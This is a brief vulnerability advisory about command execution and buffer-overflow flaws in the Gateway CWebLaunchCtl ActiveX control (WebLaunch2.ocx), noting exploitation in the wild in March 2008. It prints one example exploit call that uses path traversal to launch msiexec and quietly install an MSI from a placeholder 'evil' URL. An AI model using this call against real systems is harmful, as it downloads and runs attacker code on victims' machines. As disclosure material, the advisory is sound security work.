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Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability

The following example call to the vulnerable method demonstrates executing a local script:

obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe", "","/i http://www.example.com/evilapp.msi /quiet");

UPDATE (March 26, 2008): The Symantec DeepSight Team has discovered that the issue affecting 'WebLaunch2.ocx' is being actively exploited in the wild.

A proof of concept for executing local scripts and an exploit for the buffer-overflow issue are available:







 

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